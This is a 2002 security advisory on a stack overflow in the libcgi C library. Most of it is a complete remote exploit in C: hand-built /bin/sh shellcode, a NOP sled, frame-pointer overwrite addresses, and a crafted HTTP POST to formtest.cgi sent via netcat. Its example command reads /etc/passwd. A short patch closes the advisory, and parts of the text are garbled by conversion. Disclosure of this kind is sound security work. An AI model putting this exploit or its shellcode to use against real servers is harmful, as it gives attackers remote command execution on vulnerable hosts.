
INetCop Security Advisory #2002-0x82-007

*** Title: Remote Frame Pointer Overwrite vulnerability
in LIB CGI in Language C.**

0x01. Description

A simple mode of develop CGI in language C.

The libcgi package is a library written in pure C for C programmers or,
programmers with some experience in language C that want development CGI in language C.

This Project includes two libraries that has example practice to use of the same.

(libcgi, lib-mysql)

Vulnerability of problem happens in the 76 line of 'Include/libcgi.h'.

Let's examine. :-)

```
—
69 void changevalue(char mt[],char *pt)
70 {
71     char buffer[256]={' \ 0'}; // 256
72     int size=(strlen(pt)); // pt size.
73     int x,y;
74     for(x=0,y=0;x<size;x++,y++) // ??
75     {
76         buffer[y]=pt[x]; // Here !!
77     }
78     strcpy(mt,buffer); // Here's uneasy.
79 }
--
```

According to use environment of function, can abuse overflow.

0x02. Vulnerable Packages

Vendor site: <http://www.bigadmin.kit.net/libcgi/>

libcgi-0.1

- **libcgi-0.1.tgz**

+Slackware Linux

- **libcgi-0.1.deb**

+Debian Linux

libcgi-0.1.rpm

+RedHat Linux

- **libcgi-0.1.tar.gz**

+SunOS/Solaris

+Unix

+Other


```
**
**
** Proof of concept:
**
** bash$ (./0x82-libCGIfpexpl;cat)|nc 0 80
** HTTP/1.1 200 OK
** Date: Sat, 23 Nov 2002 18:41:14 GMT
** Server: Apache/1.3.26 (Unix) PHP/4.1.2
** Connection: close
** Content-Type: text/html
**
** <html>
** <head>
** <title>LIB CGI in Language C - Testing "libcgi.h" with Url Encoding -
** by Marcos Luiz Onisto , bigadmin@uol.com.br</title>
** ...
** 82828282828282828282828282828282828282828282828282828282828282828282 ...
** ...
**
** Happy Exploit !
**
** Linux testsub 2.2.12-20kr #1 Tue Oct 12 16:46:36 KST 1999 i686 unknown
** uid=99(nobody) gid=99(nobody) groups=99(nobody)
**
**
** exploit by "you dong-h0un"(Xpl017Elz), <szoahc@hotmail.com>.
** My World: http://x82.i21c.net & http://x82.inetcop.org
**
**/

#include <stdio.h>
#include <getopt.h>

#define Xpl017Elz x82
#define BUFSIZE 1024
#define DCOMM "printf \" \\ \\ n \\ \\ n \\ \\ nHappy Exploit ! \\ \\ n \\ \\ n \\ \";uname -a;id"
```

```

void banrl();
int main(argc,argv)
    int argc;
    char *argv[];
{
#define NOPSH 0xbffffc20
    unsigned long nopsh=NOPSH;
#define SHADR 0xbfffd60
    unsigned long shadr=SHADR;
    int whtp;
#define NULLS 0x00000000
    int num_0,num_1,num_2,num_3;
    int num_4,num_5;

    char input_code[]= /* It's true ! */
        "NAME=Xpl017Elz&EMAIL=szoahc@hotmail.com&HOME=http://x82.inetcop.org&SEL=Musi
c&CHECK=yes&RADIO=very+happy&COMMENTS=";
    char send_code[]=
        "&Submit=Send \ n"; /* send */
#define COMMS 235
    char shc0mm[COMMS]=DCOMM;
    unsigned char x0x[BUFSIZE];
    char x0x2[BUFSIZE];

    int x0x_0_num=NULLS;
    int x0x_1_num=NULLS;
    num_5=num_4=num_3=num_2=num_1=num_0=NULLS;

    memset(x0x,0x00,BUFSIZE);
    memset(x0x2,0x00,BUFSIZE);

    while((whtp=getopt(argc,argv,"C:c:S:s:A:a:"))!=EOF)
    {
        switch(whtp)
        {

```

```

case 'C':
case 'c':
    if(strlen(optarg)>COMMS)
    {
        fprintf(stderr," \n [-] String Error :-( \n \n");
        exit(-1);
    }
    memset(shc0mm,0x00,COMMS);
    strncpy(shc0mm,optarg,COMMS);
    break;

case 'S':
case 's':
    nopsh=strtoul(optarg,NULL,0);
    break;

case 'A':
case 'a':
    shadr=strtoul(optarg,NULL,0);
    break;

case '?':
    {
        (void)banrl();
        fprintf(stderr," \n Usage: %s -opt args \n",argv[0]);
        fprintf(stderr," \n \ t-s [addr] - shellcode");
        fprintf(stderr," \n \ t-a [addr] - &shellcode");
        fprintf(stderr," \n \ t-c [cmd] - command \n");
        fprintf(stderr," \n Example: %s -s %p -a %p -c 'cat
/etc/passwd' \n \ n",argv[0],nopsh,shadr);
        exit(0);
    }
    break;
}
}

```

```

// - - - make shellcode :- ) - - - //
/* This is dong-h0un U style */
num_1=strlen(shc0mm)+0x0c; num_2=num_1+0x01;
num_3=num_2+0x04; num_4=num_3+0x04; num_5=num_4+0x04;
x0x[num_0++]=0xeb; x0x[num_0++]=0x30; x0x[num_0++]=0x5e;
x0x[num_0++]=0x89; x0x[num_0++]=0x76; x0x[num_0++]=num_2;
x0x[num_0++]=0x31; x0x[num_0++]=0xc0; x0x[num_0++]=0x88;
x0x[num_0++]=0x46; x0x[num_0++]=0x08; x0x[num_0++]=0x88;
x0x[num_0++]=0x46; x0x[num_0++]=0x0b; x0x[num_0++]=0x88;
x0x[num_0++]=0x46; x0x[num_0++]=num_1;x0x[num_0++]=0x89;
x0x[num_0++]=0x46; x0x[num_0++]=num_5;x0x[num_0++]=0xb0;
x0x[num_0++]=0x0b; x0x[num_0++]=0x8d; x0x[num_0++]=0x5e;
x0x[num_0++]=0x09; x0x[num_0++]=0x89; x0x[num_0++]=0x5e;
x0x[num_0++]=num_3;x0x[num_0++]=0x8d; x0x[num_0++]=0x5e;
x0x[num_0++]=0x0c; x0x[num_0++]=0x89; x0x[num_0++]=0x5e;
x0x[num_0++]=num_4;x0x[num_0++]=0x89; x0x[num_0++]=0xf3;
x0x[num_0++]=0x8d; x0x[num_0++]=0x4e; x0x[num_0++]=num_2;
x0x[num_0++]=0x8d; x0x[num_0++]=0x56; x0x[num_0++]=num_5;
x0x[num_0++]=0xcd; x0x[num_0++]=0x80; x0x[num_0++]=0x31;
x0x[num_0++]=0xc0; x0x[num_0++]=0xb0; x0x[num_0++]=0x01;
x0x[num_0++]=0xcd; x0x[num_0++]=0x80; x0x[num_0++]=0xe8;
x0x[num_0++]=0xcb; x0x[num_0++]=0xff; x0x[num_0++]=0xff;
x0x[num_0++]=0xff; x0x[num_0++]=0x2f; x0x[num_0++]=0x2f;
x0x[num_0++]=0x62; x0x[num_0++]=0x69; x0x[num_0++]=0x6e;
x0x[num_0++]=0x2f; x0x[num_0++]=0x73; x0x[num_0++]=0x68;
x0x[num_0++]=0x20; x0x[num_0++]=0x2d; x0x[num_0++]=0x63;
x0x[num_0++]=0x20;

// - - - execute formtest.cgi - - - //
fprintf(stdout,"POST /cgi-bin/formtest.cgi HTTP/1.0 \n");
fprintf(stdout,"Connection: close \n");
fprintf(stdout,"User-Agent: ");

// - - - put shellcode - - - //
for(x0x_0_num=0;x0x_0_num<BUFSIZE/2 - strlen(x0x) - strlen(shc0mm);x0x_0_num++)
    fprintf(stdout," \x90");

```

```

fprintf(stdout,"%s",x0x);
fprintf(stdout,"%s",shc0mm);

//--- put &shellcode ---//
memset(x0x,0x00,BUFSIZE);
for(x0x_0_num=0;x0x_0_num<BUFSIZE/4;x0x_0_num+=4)
    *(long*)&x0x[x0x_0_num]=nopsh;
fprintf(stdout,"%s \n",x0x); /* &shellcode */

//--- set type ---//
fprintf(stdout,"Host: x82 was here. \n");
fprintf(stdout,"Content-type: application/x-www-form-urlencoded \n");

//--- put &(&shellcode) ---//
memset(x0x,0x00,BUFSIZE);
for(x0x_0_num=0;x0x_0_num<260;x0x_0_num+=4)
    *(long*)&x0x[x0x_0_num]=shadr; /* &(&shellcode) */
snprintf(x0x2,BUFSIZE,"%s%s%s",input_code,x0x,send_code);

//--- size, code send ---//
fprintf(stdout,"Content-length: %d \n \n",strlen(x0x2));
fprintf(stdout,"%s \n",x0x2);

```

```

/*****

```

How to exploit?

Use netcat !

```

bash$ ./0x82-libCGIfpxpl;cat|nc 0 80

```

This is frame pointer overwrite.

Must investigate all shellcode address and &shellcode address.

```

[nop] [shellcode] [&shellcode]

```

```

^          | ^
|          | |

```

+-----+ +-----* (-a option).

(-s option)

ex) 0x82828282: 0x90909090 0x90909090 0x90909090 0x90909090

... ..

0x8282bab0: 0x82828282 0x82828282 0x82828282 0x82828282

It may be work that is very interesting. :-)

```
bash$ ./0x82-libCGIfpxpl -s 0x82828282 -a 0x8282bab0;cat|nc 0 80
```

Only, code may create instruction that you want.

Shellcode does not worry. (-c option)

```
bash$ ./0x82-libCGIfpxpl -c "echo 'x82 was here.';";cat|nc 0 80
```

*****/

}

void banrl()

{

printf(stdout," \n Remote Frame Pointer Overwrite LIB CGI in Language C exploit");

printf(stdout," \n by Xpl017Elz in INetCop(c) Security \n");

}

=== eof ===

0x04. Patch

=== http.patch ===

--- libcgi.h Tue Feb 13 22:23:00 1996

+++ libcgi.patch.h Thu Nov 21 14:01:21 2002

@@ -69,7 +69,7 @@

void changevalue(char mt[],char *pt)

{

char buffer[256]={'\0'};

- int size=(strlen(pt));

+ int size=256;//(strlen(pt));

```
int x,y;  
for(x=0,y=0;x<size;x++,y++)  
{
```

=== eof ===

P.S: Sorry, for my poor english.

--

By "dong-houn yoU" (Xpl017Elz), in INetCop(c) Security.

MSN & E-mail: [szoahc\(at\)hotmail\(dot\)com](mailto:szoahc@hotmail.com),
[xploit\(at\)hackermail\(dot\)com](mailto:xploit@hackermail.com)

INetCop Security Home: <http://www.inetcop.org/> (Korean hacking game)

My World: <http://x82.i21c.net/>

GPG public key: <http://wizard.underattack.co.kr/~x82/h0me/pr0file/x82.k3y>

--